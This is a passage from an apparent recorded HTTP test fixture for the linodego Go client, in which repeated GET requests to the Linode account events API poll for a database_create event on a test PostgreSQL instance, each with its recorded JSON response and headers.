headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:04:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:04:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:05:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:05:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:05:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:05:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:06:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:06:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:06:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:06:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:07:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:07:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:07:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:07:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:08:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:08:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:08:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:08:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 